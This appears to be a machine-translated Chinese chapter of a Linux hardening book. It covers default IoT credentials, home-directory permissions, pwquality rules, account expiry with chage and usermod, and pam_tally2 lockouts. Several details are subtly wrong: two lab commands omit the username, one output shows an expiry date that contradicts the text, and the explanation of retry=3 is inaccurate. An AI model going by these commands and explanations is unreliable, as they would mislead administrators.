-![](img/7e089ce2-5c1c-46a6-9ee6-907cfd1163d6.png) - -因此,默认凭据是公开的,全世界都可以看到。显然,设置物联网设备首先要做的就是设置自己的用户账号,给它一个好的密码,给它`sudo`特权。那就去掉那个默认账号,因为留在原地,尤其是留了默认密码,简直是自找麻烦。 - -但是让我们深入挖掘一下。查看 Raspex 上的`/etc/password`文件,您会在那里看到默认用户: - -```sh -raspex:x:1000:1000:,,,:/home/raspex:/bin/bash -``` - -然后,查看`/etc/sudoers`文件,您会看到这一行,它允许`raspex`用户执行所有`sudo`命令,而无需输入密码: - -```sh -raspex ALL=(ALL) NOPASSWD: ALL -``` - -另一个需要注意的是,一些面向物联网设备的 Linux 发行版在`/etc/sudoers.d`目录下的单独文件中有这个规则,而不是在主`sudoers`文件中。无论哪种方式,您都希望在设置物联网设备时删除此规则以及默认用户帐户。当然,您还需要更改`root`用户密码,然后锁定`root`用户帐户。 - -好吧,我想这个话题到此为止了。让我们继续下一个话题。 - -# 以红帽或 CentOS 的方式锁定用户的主目录 - -这是另一个不同的 Linux 发行家族在业务上互不相同的领域。正如我们将看到的,每个发行系列都有不同的默认安全设置。监管不同 Linux 发行版混合环境的安全管理员需要考虑这一点。 - -红帽企业版 Linux 及其所有后代(如 CentOS)的一个优点是,它们比任何其他 Linux 发行版都具有更好的开箱即用安全性。这使得加固红帽型系统变得更快更容易,因为大部分工作已经完成。我们已经做的一件事是锁定用户的主目录: - -```sh - [donnie@localhost home]$ sudo useradd charlie - [sudo] password for donnie: - [donnie@localhost home]$ - [donnie@localhost home]$ ls -l - total 0 - drwx------. 2 charlie charlie 59 Oct 1 15:25 charlie - drwx------. 2 donnie donnie 79 Sep 27 00:24 donnie - drwx------. 2 frank frank 59 Oct 1 15:25 frank - [donnie@localhost home]$ -``` - -默认情况下,红帽类型系统上的`useradd`实用程序创建用户主目录,权限设置为`700`。这意味着只有拥有主目录的用户才能访问它。所有其他普通用户都被锁定。我们可以通过查看`/etc/login.defs`文件来了解原因。向下滚动到文件的底部,您会看到: - -```sh -CREATE_HOME yes -UMASK 077 -``` - -`login.defs`文件是配置了`useradd`默认设置的两个文件之一。这条`UMASK`线决定了主目录创建时的权限值。红帽型发行版将其配置为`077`值,这将从组和其他版本中删除所有权限。这个`UMASK`行在所有 Linux 发行版的`login.defs`文件中,但是红帽类型的发行版是唯一一个默认将`UMASK`设置为这样一个限制值的发行版。非红帽发行版的`UMASK`值通常为`022`,这将创建权限值为`755`的主目录。这允许每个人进入其他人的主目录并访问其他人的文件。 - -# 用 Debian/Ubuntu 的方式锁定用户的主目录 - -Debian 及其后代,如 Ubuntu,有两个用户创建实用程序: - -* `useradd` -* `adduser` - -让我们看看他们两个。 - -# Debian/Ubuntu 上的 useradd - -`useradd`实用程序在那里,但是 Debian 和 Ubuntu 没有像 Red Hat 和 CentOS 那样提供方便的预配置默认值。如果你只是在默认的 Debian/Ubuntu 机器上做`sudo useradd frank`,Frank 将没有主目录,并且会被分配错误的默认 shell。因此,要在 Debian 或 Ubuntu 系统上创建一个带有`useradd`的用户帐户,命令应该如下所示: - -```sh -sudo useradd -m -d /home/frank -s /bin/bash frank -``` - -在这个命令中,我们有以下内容: - -* `-m`创建主目录。 -* `-d`指定主目录。 -* `-s`指定 Frank 的默认 shell。(没有了`-s`,Debian/Ubuntu 会给 Frank 分配`/bin/sh shell`。) - -当您查看主目录时,您会发现它们是完全开放的,每个人都有执行和读取权限: - -```sh - donnie@packt:/home$ ls -l - total 8 - drwxr-xr-x 3 donnie donnie 4096 Oct 2 00:23 donnie - drwxr-xr-x 2 frank frank 4096 Oct 1 23:58 frank - donnie@packt:/home$ -``` - -如你所见,弗兰克和我可以进入对方的东西。(不,我不希望弗兰克进入我的东西。)每个用户都可以更改自己目录上的权限,但是有多少用户知道该怎么做呢?所以,让我们自己解决这个问题: - -```sh - cd /home - sudo chmod 700 * -``` - -让我们看看我们现在有什么: - -```sh - donnie@packt:/home$ ls -l - total 8 - drwx------ 3 donnie donnie 4096 Oct 2 00:23 donnie - drwx------ 2 frank frank 4096 Oct 1 23:58 frank - donnie@packt:/home$ -``` - -看起来好多了。 - -要更改主目录的默认权限设置,请打开`/etc/login.defs`进行编辑。查找以下行: - -```sh -UMASK 022 -``` - -将其更改为: - -```sh -UMASK 077 -``` - -现在,新用户的主目录将在创建时被锁定,就像他们使用红帽一样。 - -# adduser on Debian/Ubuntu - -`adduser`实用程序是一种用单个命令创建用户帐户和密码的交互方式,这是 Debian 系列 Linux 发行版独有的。`useradd`的 Debian 实现中缺少的大多数默认设置已经为`adduser`设置好了。默认设置唯一的错误是它创建了具有大开`755`权限值的用户主目录。幸运的是,这很容易改变。(我们一会儿就知道了。) - -虽然`adduser`对于用户账户的随意创建很方便,但是它没有`useradd`的灵活性,也不适合在 shell 脚本中使用。`adduser`会做`useradd`不会做的一件事是在创建帐户时自动加密用户的主目录。要让它工作,你首先必须安装`ecryptfs-utils`软件包。因此,要为埃及艳后创建一个带有加密主目录的帐户,请执行以下操作: - -```sh -sudo apt install ecryptfs-utils - - donnie@ubuntu-steemnode:~$ sudo adduser --encrypt-home cleopatra - [sudo] password for donnie: - Adding user `cleopatra' ... - Adding new group `cleopatra' (1004) ... - Adding new user `cleopatra' (1004) with group `cleopatra' ... - Creating home directory `/home/cleopatra' ... - Setting up encryption ... - ************************************************************************ - YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION. - ecryptfs-unwrap-passphrase ~/.ecryptfs/wrapped-passphrase - THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME. - ******************************************************************** -Done configuring. - Copying files from `/etc/skel' ... - Enter new UNIX password: - Retype new UNIX password: - passwd: password updated successfully - Changing the user information for cleopatra - Enter the new value, or press ENTER for the default - Full Name []: Cleopatra Tabby Cat - Room Number []: 1 - Work Phone []: 555-5556 - Home Phone []: 555-5555 - Other []: - Is the information correct? [Y/n] Y - donnie@ubuntu-steemnode:~$ -``` - -埃及艳后第一次登录时,她需要运行前面输出中提到的`ecryptfs-unwrap-passphrase`命令。然后,她会想要写下她的密码,并将其存储在安全的地方: - -```sh - cleopatra@ubuntu-steemnode:~$ ecryptfs-unwrap-passphrase - Passphrase: - d2a6cf0c3e7e46fd856286c74ab7a412 - cleopatra@ubuntu-steemnode:~$ -``` - -当我们进入加密章节时,我们将更详细地了解整个加密过程。 - -# 配置 adduser 的实践实验 - -在本实验中,我们将使用 Debian/Ubuntu 系统特有的`adduser`实用程序: - -1. 在你的 Ubuntu 虚拟机上,打开`/etc/adduser.conf`文件进行编辑。找到写着`DIR_MODE=0755`的那行,改成 DIR_MODE=0700。保存文件并退出文本编辑器。 -2. 安装`ecryptfs-utils`包: - -```sh -sudo apt install ecryptfs-utils -``` - -3. 为克利奥帕特拉创建一个带有加密主目录的用户帐户,然后查看结果: - -```sh - sudo adduser --encrypt-home cleopatra - ls -l /home -``` - -4. 以埃及艳后身份登录并运行`ecryptfs-unwrap-passphrase`命令: - -```sh -su - cleopatra -ecryptfs-unwrap-passphrase -exit -``` - -注意`adduser`要求的一些信息是可选的,你只需要点击*进入*键就可以了。 - -# 强制实施强密码标准 - -你不会认为一个听起来温和的话题,比如强密码标准,会引起如此大的争议,但事实确实如此。毫无疑问,你在整个计算机生涯中听到的传统观点是这样的: - -* 制作一定长度的密码。 -* 创建由大写字母、小写字母、数字和特殊字符组成的密码。 -* 确保密码不包含字典中的任何单词或基于用户个人数据的单词。 -* 强制用户定期更改密码。 - -但是,使用你最喜欢的搜索引擎,你会发现不同的专家对这些标准的细节意见不一。例如,您会看到关于密码是否应该每 30 天、60 天或 90 天更改一次的分歧,关于四种类型的字符是否都需要包含在密码中的分歧,甚至关于密码的最小长度应该是多少的分歧。 - -最有趣的争议来自于——在所有的地方——首先发明了上述标准的人。他现在说这都是胡说八道,后悔自己想出来的。他现在说我们应该使用长而易记的密码短语。他还说,只有当它们被攻破时,才应该改变。 - -Bill Burr, the former National Institutes of Standards and Technology (NIST) engineer who created the strong password criteria that I outlined earlier, shares his thoughts about why he now disavows his own work. Refer to [https://www.pcmag.com/news/355496/you-might-not-need-complex-alphanumeric-passwords-after-all](https://www.pcmag.com/news/355496/you-might-not-need-complex-alphanumeric-passwords-after-all). - -And, since the original edition of this book was published, NIST has come to agree with Bill Burr. They have now changed their password implementation criteria to match Mr. Burr's recommendations. You can read about that at -[https://www.riskcontrolstrategies.com/2018/01/08/new-nist-guidelines-wrong/](https://www.riskcontrolstrategies.com/2018/01/08/new-nist-guidelines-wrong/). - -然而,话虽如此,现实是许多组织仍然坚持使用定期过期的复杂密码,如果你不能说服他们,你将不得不遵守他们的规则。此外,如果您使用传统密码,您确实希望它们足够强大,能够抵御任何类型的密码攻击。现在,我们来看看在 Linux 系统上强制执行强密码标准的机制。 - -I have to confess that I had never before thought to try creating a passphrase to use in place of a password on a Linux system. So, I just now tried it on my CentOS virtual machine to see if it would work.  - -I created an account for Maggie, my black-and-white tuxedo kitty. For her password, I entered the passphrase `I like other kitty cats`. You may think, "Oh, that's terrible. This doesn't meet any complexity criteria*,* and it uses dictionary words. How is that secure?" But the fact that it's a phrase with distinct words separated by blank spaces does make it secure and very difficult to brute-force. - -Now, in real life, I would never create a passphrase that expresses my love for cats because it's not hard to find out that I really do love cats. Rather, I would choose a passphrase about some more obscure part of my life that nobody but me knows about. In any case, there are two advantages of passphrases over passwords. They're more difficult to crack than traditional passwords, yet they're easier for users to remember. For extra security, though, just don't create passphrases about a fact of your life that everybody knows about. - -# 安装和配置 pwquality - -我们将使用`pwquality`模块作为**可插拔认证模块** ( **PAM** )。这是一项更新的技术,取代了旧的`cracklib`模块。在红帽 7/8 或 CentOS 7/8 系统上,默认情况下会安装`pwquality`,即使您只进行了最低限度的安装。如果你进入`/etc/pam.d`目录,你可以做一个`grep`操作,看看 PAM 配置文件已经设置好了。`retry=3`表示用户在登录系统时,只有三次尝试获取正确密码的机会: - -```sh -[donnie@localhost pam.d]$ grep 'pwquality' * - password-auth:password requisite pam_pwquality.so try_first_pass - local_users_only retry=3 authtok_type= - password-auth-ac:password requisite pam_pwquality.so try_first_pass - local_users_only retry=3 authtok_type= - system-auth:password requisite pam_pwquality.so try_first_pass - local_users_only retry=3 authtok_type= - system-auth-ac:password requisite pam_pwquality.so try_first_pass - local_users_only retry=3 authtok_type= - [donnie@localhost pam.d]$ -``` - -剩下的过程对于两个操作系统都是一样的,只包括编辑`/etc/security/pwquality.conf`文件。当您在文本编辑器中打开此文件时,您会看到所有内容都被注释掉了,这意味着没有有效的密码复杂性标准。您还会看到它被很好地记录下来,因为每个设置都有自己的解释性注释。 - -您可以通过取消相应行的注释并设置相应的值来设置密码复杂性标准。让我们只看一个设置: - -```sh -# Minimum acceptable size for the new password (plus one if -# credits are not disabled which is the default). (See pam_cracklib manual.) -# Cannot be set to lower value than 6\. -# minlen = 8 -``` - -最小长度设置适用于信用体系。这意味着,对于密码中的每种不同类型的字符类,所需的最小密码长度将减少一个字符。例如,让我们将`minlen`设置为值`19`,并尝试为凯特琳分配密码`turkeylips`: - -```sh -minlen = 19 - -[donnie@localhost ~]$ sudo passwd katelyn - Changing password for user katelyn. - New password: - BAD PASSWORD: The password is shorter than 18 characters - Retype new password: - [donnie@localhost ~]$ -``` - -因为`turkeylips`中的小写字符算作一种字符类的信用,所以我们只需要有 18 个字符,而不是 19 个。如果我们用`TurkeyLips`再次尝试,我们会得到: - -```sh -[donnie@localhost ~]$ sudo passwd katelyn - Changing password for user katelyn. - New password: - BAD PASSWORD: The password is shorter than 17 characters - Retype new password: - [donnie@localhost ~]$ -``` - -这次大写的`T`和大写的`L`算作第二个字符类,所以密码中我们只需要有 17 个字符。 - -就在`minlen`线下方,你会看到信用额度。假设你不想让小写字母计入你的学分。你会发现这条线: - -```sh -# lcredit = 1 -``` - -取消注释,并将`1`改为`0`: - -```sh -lcredit = 0 -``` - -然后,尝试将凯特琳`turkeylips`指定为密码: - -```sh -[donnie@localhost ~]$ sudo passwd katelyn - Changing password for user katelyn. - New password: - BAD PASSWORD: The password is shorter than 19 characters - Retype new password: - [donnie@localhost ~]$ -``` - -这次`pwquality`真的要 19 个字符。如果我们将一个信用值设置为高于`1`的值,我们将获得相同类别类型的多个字符的信用值。 - -我们还可以将信用值设置为负数,以便在密码中要求一定数量的字符类型。例如,我们可以这样做: - -```sh -dcredit = -3 -``` - -这需要密码中至少有三位数字。然而,使用这一功能确实是一个坏主意,因为进行密码攻击的人很快就会找到您需要的模式,这将有助于攻击者更准确地指挥攻击。如果需要要求密码有多种字符类型,最好使用`minclass`参数: - -```sh -# minclass = 3 -``` - -它已经被设置为`3`值,这将需要来自三个不同类的字符。要使用该值,您所要做的就是删除注释符号。 - -`pwquality.conf`中的其余参数的工作方式基本相同,每个参数都有一个写得很好的注释来解释它的功能。 - -If you use your `sudo` privilege to set someone else's password, the system will complain if you create a password that doesn't meet complexity criteria, but it will let you do it. If a normal user were to try to change his or her own password without `sudo` privileges, the system would not allow a password that doesn't meet complexity criteria. - -# 设置密码复杂性标准的实践实验室 - -对于本实验,您可以根据需要使用 CentOS 或 Ubuntu 虚拟机。唯一的区别是您不会为 CentOS 执行步骤 1: - -1. 仅适用于 Ubuntu,安装`libpam-pwquality`包: - -```sh -sudo apt install libpam-pwquality -``` - -2. 在首选文本编辑器中打开`/etc/security/pwquality.conf`文件。删除`minlen`行前面的注释符号,并将值更改为`19`。现在应该是这样的: - -```sh - minlen = 19 -``` - -保存文件并退出编辑器。 - -3. 为歌迪创建一个用户帐户,并尝试为她分配密码`turkeylips`、`TurkeyLips`和`Turkey93Lips`。注意每个警告消息的变化。 -4. 在`pwquality.conf`文件中,注释掉`minlen`行。取消对`minclass`线和`maxclassrepeat`线的注释。将`maxclassrepeat`值更改为`5`。这些行现在应该如下所示: - -```sh -minclass = 3 -maxclassrepeat = 5 -``` - -保存文件并退出文本编辑器。 - -5. 尝试为歌迪的帐户分配各种不符合复杂性标准的密码,并查看结果。 - -In the `/etc/login.defs` file on your CentOS machine, you'll see the line `PASS_MIN_LEN 5`. - -Supposedly, this is to set the minimum password length, but in reality, `pwquality` overrides it. So, you could set this value to anything at all, and it would have no effect. - -# 设置和实施密码和帐户过期 - -你永远不想让未使用的用户帐户保持活动状态。曾发生过这样的事件:管理员为临时使用(如会议)设置用户帐户,然后在不再需要这些帐户后就把它们忘了。 - -另一个例子是,如果你的公司雇佣合同在某个特定日期到期的合同工。允许这些账户在临时员工离开公司后保持活跃和可访问将是一个巨大的安全问题。在这种情况下,您需要一种方法来确保临时用户帐户在不再需要时不会被遗忘。如果你的雇主认同用户应该定期更改密码的传统观点,那么你也要确保做到这一点。 - -密码到期数据和账户到期数据是两回事。它们可以单独设置,也可以一起设置。当某人的密码过期时,他或她可以更改它,一切都会好的。如果某人的帐户过期,只有拥有适当管理员权限的人才能解锁。 - -首先,看一下你自己账户的到期数据。请注意,您不需要`sudo`权限来查看自己的数据,但您仍然需要指定自己的用户名: - -```sh -donnie@packt:~$ chage -l donnie - [sudo] password for donnie: - Last password change : Oct 03, 2017 - Password expires : never - Password inactive : never - Account expires : never - Minimum number of days between password change : 0 - Maximum number of days between password change : 99999 - Number of days of warning before password expires : 7 - donnie@packt:~$ -``` - -您可以在这里看到没有设置到期数据。这里的所有内容都是根据现成的系统默认值设置的。除了显而易见的项目之外,以下是你所看到的细分: - -* `Password inactive`:如果这个设置为正数,那么在系统锁定我的账户之前,我有那么多天的时间来更改过期的密码。 -* `Minimum number of days between password change`:因为这个设置为`0`,所以我可以随时更改密码。如果设置为正数,我必须在更改密码后等待该天数,然后才能再次更改密码。 -* `Maximum number of days between password change`:这个设置为`99999`的默认值,表示我的密码永远不会过期。 -* `Number of days of warning before password expires`:默认值是`7`,但是当密码设置为永不过期的时候,那就相当没有意义了。 - -With the `chage` utility, you can either set password and account expiration data for other users or use the `-l` option to view expiration data. Any unprivileged user can use `chage -l` without `sudo` to view his or her own data. To either set data or view someone else's data, you need `sudo`. We'll take a closer look at `chage` a bit later. - -在了解如何更改过期数据之前,我们先来看看默认设置存储在哪里。我们先来看看`/etc/login.defs`文件。这三条相关的线如下: - -```sh -PASS_MAX_DAYS 99999 -PASS_MIN_DAYS 0 -PASS_WARN_AGE 7 -``` - -您可以编辑这些值以适应您组织的需求。例如,将`PASS_MAX_DAYS`更改为`30`值将导致从该点开始的所有新用户密码都有 30 天的过期数据。(顺便说一下,在`login.defs`中设置默认密码到期数据对红帽或 CentOS 以及 Debian/Ubuntu 都有效。) - -# 仅为红帽或 CentOS 用户添加配置默认到期数据 - -`/etc/default/useradd`文件具有其余的默认设置。在本例中,我们将看一下 CentOS 机器上的一个: - -Ubuntu also has the `useradd` configuration file, but it doesn't work. No matter how you configure it, the Ubuntu version of `useradd` just won't read it. So, the write-up about this file only applies to Red Hat or CentOS. - -```sh -# useradd defaults file -GROUP=100 -HOME=/home -INACTIVE=-1 -EXPIRE= -SHELL=/bin/bash -SKEL=/etc/skel -CREATE_MAIL_SPOOL=yes -``` - -`EXPIRE=`行设置新用户账户的默认到期日期。默认情况下,没有默认的到期日期。`INACTIVE=-1`表示用户密码过期后,用户账号不会自动锁定。如果我们将它设置为正数,那么在帐户被锁定之前,任何新用户都有那么多天的时间来更改过期的密码。要更改`useradd`文件中的默认值,您可以手动编辑文件,或者使用`useradd -D`并为您想要更改的项目选择适当的选项开关。例如,要将默认到期日期设置为 2023 年 12 月 31 日,命令如下: - -```sh -sudo useradd -D -e 2023-12-31 -``` - -要查看新的配置,您可以打开`useradd`文件或只需执行`sudo useradd -D`: - -```sh -[donnie@localhost ~]$ sudo useradd -D - GROUP=100 - HOME=/home - INACTIVE=-1 - EXPIRE=2023-12-31 - SHELL=/bin/bash - SKEL=/etc/skel - CREATE_MAIL_SPOOL=yes - [donnie@localhost ~]$ -``` - -您现在已经对其进行了设置,以便创建的任何新用户帐户都将具有相同的到期日期。您可以使用`INACTIVE`设置或`SHELL`设置进行同样的操作: - -```sh -sudo useradd -D -f 5 - sudo useradd -D -s /bin/zsh - - [donnie@localhost ~]$ sudo useradd -D - GROUP=100 - HOME=/home - INACTIVE=5 - EXPIRE=2019-12-31 - SHELL=/bin/zsh - SKEL=/etc/skel - CREATE_MAIL_SPOOL=yes - [donnie@localhost ~]$ -``` - -现在,创建的任何新用户帐户都将把 Zsh shell 设置为默认 shell,并且必须在五天内更改过期密码,以防止帐户被自动锁定。 - -`useradd` doesn't do any safety checks to ensure that the default shell that you've assigned is installed on the system. In our case, Zsh isn't installed, but `useradd` will still allow you to create accounts with Zsh as the default shell. - -那么,这个`useradd`配置功能在现实生活中到底有多大用处呢?可能没那么多,除非你需要用同样的设置同时创建一大堆用户账户。即便如此,一个精明的管理员也只是用一个 shell 脚本来自动化这个过程,而不是摆弄这个配置文件。 - -# 使用 useradd 和 usermod 设置每个帐户的到期数据 - -您可能会发现在`login.defs`中设置默认密码到期数据很有用,但配置`useradd`配置文件可能不会太有用。真的,你想创建所有用户帐户的机会有多大?在`login.defs`中设置密码到期数据更有用,因为你只是说你希望新密码在特定的天数内到期,而不是让它们都在特定的日期到期。 - -最有可能的是,你会想要根据每个账户设置账户到期数据,这取决于你是否知道在某个特定日期不再需要这些账户。有三种方法可以做到这一点: - -* 在创建帐户时,使用带有适当选项开关的`useradd`设置到期数据。(如果您需要用相同的到期数据一次创建一大堆帐户,您可以使用 shell 脚本自动完成这个过程。) -* 使用`usermod`修改现有账户的到期数据。(关于`usermod`的美好之处在于它使用了与`useradd`相同的选项开关。) -* 使用`chage`修改现有账户的到期数据。(这个使用了一组完全不同的选项开关。) - -可以使用`useradd`和`usermod`设置账户到期数据,但不能设置密码到期数据。影响帐户到期数据的仅有两个选项开关如下: - -* `-e`:用这个设置账户的到期日,格式为 YYYY-MM-DD。 -* `-f`:用这个设置用户密码过期后,你希望他或她的账户被锁定的天数。 - -假设您想为 Charlie 创建一个将于 2020 年底到期的帐户。在红帽或 CentOS 机器上,您可以输入以下内容: - -```sh -sudo useradd -e 2020-12-31 charlie -``` - -在非红帽或 CentOS 机器上,您必须添加选项开关来创建主目录并分配正确的默认外壳: - -```sh -sudo useradd -m -d /home/charlie -s /bin/bash -e 2020-12-31 charlie -``` - -使用`chage -l`验证您输入的内容: - -```sh -donnie@ubuntu-steemnode:~$ sudo chage -l charlie - Last password change : Oct 06, 2017 - Password expires : never - Password inactive : never - Account expires : Dec 31, 2020 - Minimum number of days between password change : 0 - Maximum number of days between password change : 99999 - Number of days of warning before password expires : 7 - donnie@ubuntu-steemnode:~$ -``` - -现在,假设查理的合同已经延长,您需要将他的帐户到期日期更改为 2021 年 1 月底。您将在任何 Linux 发行版上以相同的方式使用`usermod`: - -```sh -sudo usermod -e 2021-01-31 charlie -``` - -再次用`chage -l`验证一切是否正确: - -```sh -donnie@ubuntu-steemnode:~$ sudo chage -l charlie - Last password change : Oct 06, 2017 - Password expires : never - Password inactive : never - Account expires : Jan 31, 2021 - Minimum number of days between password change : 0 - Maximum number of days between password change : 99999 - Number of days of warning before password expires : 7 - donnie@ubuntu-steemnode:~$ -``` - -或者,您可以设置密码过期的帐户被锁定的天数: - -```sh -sudo usermod -f 5 charlie -``` - -但是如果你现在这样做,你将不会在`chage -l`输出中看到任何差异,因为我们仍然没有为查理的密码设置到期数据。 - -# 使用 chage 设置每个帐户的到期数据 - -您将只使用`chage`修改现有帐户,并使用它来设置帐户到期或密码到期。以下是相关的选项开关: - -| **选项** | **解释** | -| `-d` | 如果您在某人的帐户上使用`-d 0`选项,您将强制用户在下次登录时更改他或她的密码。 | -| `-E` | 这相当于小写的`-e`代表`useradd`或`usermod`。它设置用户帐户的到期日期。 | -| `-I` | 这相当于`useradd`或`usermod`的`-f`。它设置密码过期的帐户被锁定的天数。 | -| `-m` | 这将设置密码更改的最小间隔天数。换句话说,如果查理今天更改密码,`-m 5`选项会强制他等待五天才能再次更改密码。 | -| `-M` | 这将设置密码过期前的最大天数。(但请注意,如果查理上次设置密码是在 89 天前,在他的帐户上使用`-M 90`选项将导致他的密码明天到期,而不是从现在起的 90 天。) | -| `-W` | 这将设置密码即将过期的警告天数。 | - -一次只能设置其中一个数据项,也可以一次全部设置。事实上,为了避免每个项目都有不同的演示让您感到沮丧,让我们一次性设置它们,除了`-d 0`,然后我们将看到我们得到了什么: - -```sh -sudo chage -E 2021-02-28 -I 4 -m 3 -M 90 -W 4 charlie - donnie@ubuntu-steemnode:~$ sudo chage -l charlie - Last password change : Oct 06, 2019 - Password expires : Jan 04, 2020 - Password inactive : Jan 08, 2020 - Account expires : Feb 28, 2021 - Minimum number of days between password change : 3 - Maximum number of days between password change : 90 - Number of days of warning before password expires : 4 - donnie@ubuntu-steemnode:~$ -``` - -现在已经设置了所有到期数据。 - -对于我们的最后一个示例,假设您刚刚为 Samson 创建了一个新帐户,并且您想在他第一次登录时强制他更改密码。有两种方法可以做到这一点。无论哪种方式,你都可以在最初设置好他的密码后进行。例如,让我们这样做: - -```sh -sudo chage -d 0 samson - or - sudo passwd -e samson - - donnie@ubuntu-steemnode:~$ sudo chage -l samson - Last password change : password must be changed - Password expires : password must be changed - Password inactive : password must be changed - Account expires : never - Minimum number of days between password change : 0 - Maximum number of days between password change : 99999 - Number of days of warning before password expires : 7 - donnie@ubuntu-steemnode:~$ -``` - -接下来,我们将进行动手实验。 - -# 设置帐户和密码到期数据的实践实验室 - -在本实验中,您将创建几个新的用户帐户,设置到期数据,并查看结果。您可以在 CentOS 或 Ubuntu 虚拟机上进行本实验。唯一不同的是`useradd`命令: - -1. 为 Samson 创建一个截止日期为 2023 年 6 月 30 日的用户帐户,并查看 CentOS 的结果,运行以下命令: - -```sh -sudo useradd -e 2023-06-30 samson -sudo chage -l samson -``` - -对于 Ubuntu,运行以下命令: - -```sh -sudo useradd -m -d /home/samson -s /bin/bash -e 2023-06-30 -sudo chage -l samson -``` - -2. 使用`usermod`将 Samson 的账户到期日变更为 2023 年 7 月 31 日: - -```sh -sudo usermod -e 2023-07-31 -sudo chage -l samson -``` - -3. 为 Samson 的帐户分配一个密码,然后强制他在第一次登录时更改密码。以 Samson 身份登录,更改他的密码,然后登录到您自己的帐户: - -```sh -sudo passwd samson -sudo passwd -e samson -sudo chage -l samson -su - samson -exit -``` - -4. 使用`chage`设置五天的密码更改等待期、90 天的密码到期期、两天的不活动期和五天的警告期: - -```sh -sudo chage -m 5 -M 90 -I 2 -W 5 samson -sudo chage -l samson -``` - -5. 保留此帐户,因为您将在下一节的实验中使用它。 - -接下来,让我们看看如何防止暴力攻击。 - -# 防止暴力密码攻击 - -令人惊讶的是,这是另一个引起一些争议的话题。我的意思是,没有人否认自动锁定受到攻击的用户账户的智慧。有争议的部分涉及在锁定帐户之前我们应该允许的失败登录尝试的次数。 - -回到计算的石器时代,很久以前我还满头大汗,早期的 Unix 操作系统只允许用户创建最多八个小写字母的密码。因此,在那个年代,早期的人类有可能仅仅通过坐在键盘前输入随机密码就强行破解别人的密码。就在那时,用户帐户在三次登录失败后就被锁定的理念开始了。如今,使用强密码,或者更好的是强密码,将锁定值设置为三次失败的登录尝试将完成三件事: - -* 它会不必要地让用户感到沮丧。 -* 这会给服务台人员带来额外的工作。 -* 如果一个帐户真的受到攻击,它会在你有机会收集攻击者的信息之前锁定该帐户。 - -将锁定值设置为更现实的值,例如 100 次失败的登录尝试,仍将提供良好的安全性,同时仍让您有足够的时间收集关于攻击者的信息。同样重要的是,您不会给用户和帮助台人员带来不必要的挫败感。 - -无论如何,不管你的雇主允许你多少次失败的登录尝试,你仍然需要知道如何设置。所以,让我们开始吧。 - -# 配置 pam _ tally2 PAM - -为了让这种魔力发挥作用,我们将依靠我们的好朋友帕姆。`pam_tally2`模块已经安装在 CentOS 和 Ubuntu 上,但是没有配置。对于我们的两个虚拟机,我们将编辑`/etc/pam.d/login`文件。弄清楚如何配置很容易,因为在`pam_tally2`手册页的底部有一个例子: - -```sh -EXAMPLES - Add the following line to /etc/pam.d/login to lock the account after -4 failed logins. Root account will be locked as well. The accounts will be -automatically unlocked after 20 minutes. The module does not have to be -called in the account phase because the login calls pam_setcred(3) -correctly. - auth required pam_securetty.so - auth required pam_tally2.so deny=4 even_deny_root -unlock_time=1200 - auth required pam_env.so - auth required pam_unix.so - auth required pam_nologin.so - account required pam_unix.so - password required pam_unix.so - session required pam_limits.so - session required pam_unix.so - session required pam_lastlog.so nowtmp - session optional pam_mail.so standard -``` - -在示例的第二行,我们看到`pam_tally2`设置如下: - -* `deny=4`:这意味着被攻击的用户账号只有四次登录尝试失败后才会被锁定。 -* `even_deny_root`:这意味着即使是根用户账号受到攻击也会被锁定。 -* `unlock_time=1200`:1200 秒后,或者 20 分钟后,账户会自动解锁。 - -现在,如果您查看任何一台虚拟机上的实际`login`文件,您会发现它们看起来并不完全像这两个手册页中的示例`login`文件。没关系,我们还是会成功的。 - -一旦您配置了`login`文件并且登录失败,您将看到在`/var/log`目录中创建了一个新文件。您可以使用`pam_tally2`实用程序查看该文件中的信息。如果不想等待超时时间,也可以使用`pam_tally2`手动解锁锁定的账户: - -```sh -donnie@ubuntu-steemnode:~$ sudo pam_tally2 - Login Failures Latest failure From - charlie 5 10/07/17 16:38:19 - donnie@ubuntu-steemnode:~$ sudo pam_tally2 --user=charlie --reset - Login Failures Latest failure From - charlie 5 10/07/17 16:38:19 - donnie@ubuntu-steemnode:~$ sudo pam_tally2 - donnie@ubuntu-steemnode:~$ -``` - -请注意,在我对查理的帐户进行了重置之后,我没有从执行另一个查询中收到任何输出。 - -# 配置 pam _ tally2 的实践实验 - -配置`pam_tally2`超级简单,因为只需要在`/etc/pam.d/login`文件中增加一行。为了让事情变得更简单,你可以从`pam_tally2`手册页的例子中复制并粘贴那一行。尽管我之前说过要将失败登录的次数增加到 100 次,但我们暂时将这个数字保持在 4 次,我知道您不想为了演示这个而必须进行 100 次失败登录: - -1. 在 CentOS 或 Ubuntu 虚拟机上,打开`/etc/pam.d/login`文件进行编辑。寻找调用`pam_securetty`模块的行。(那应该是在 Ubuntu 的 32 号线附近和 CentOS 的 2 号线附近。)在该行下方,插入以下一行: - -```sh -auth required pam_tally2.so deny=4 even_deny_root unlock_time=1200 -``` - -保存文件并退出编辑器。 - -2. 对于这一步,您需要注销自己的帐户,因为`pam_tally2`与`su`不兼容。因此,请注销,并在故意使用错误密码的同时,尝试登录您在上一实验中创建的`samson`帐户。继续这样做,直到您看到帐户被锁定的消息。请注意,当`deny`值设置为`4`时,实际上需要五次失败的登录尝试才能锁定 Samson。 -3. 重新登录到您自己的用户帐户。运行此命令并记录输出: - -```sh -sudo pam_tally2 -``` - -4. 在这一步中,您将模拟自己是服务台工作人员,而 Samson 刚刚打电话来请求您解锁他的帐户。在确认您真的与真正的 Samson 对话后,输入以下两个命令: - -```sh -sudo pam_tally2 --user=samson --reset -sudo pam_tally2 -``` - -5. 现在你已经看到了这是如何工作的,打开`/etc/pam.d/login`文件进行编辑,将`deny=`参数从`4`更改为`100`并保存文件。(这将使您的配置在现代安全理念方面更加现实。) - -# 锁定用户帐户 - -好了,您刚刚看到了如何让 Linux 自动锁定受到攻击的用户帐户。也有一些时候,你会希望能够手动锁定用户帐户。让我们看几个例子: - -* 当一个用户去度假,你想确保当他或她不在的时候,没有人会乱动他或她的账户 -* 当用户因可疑活动而受到调查时 -* 当用户离开公司时 - 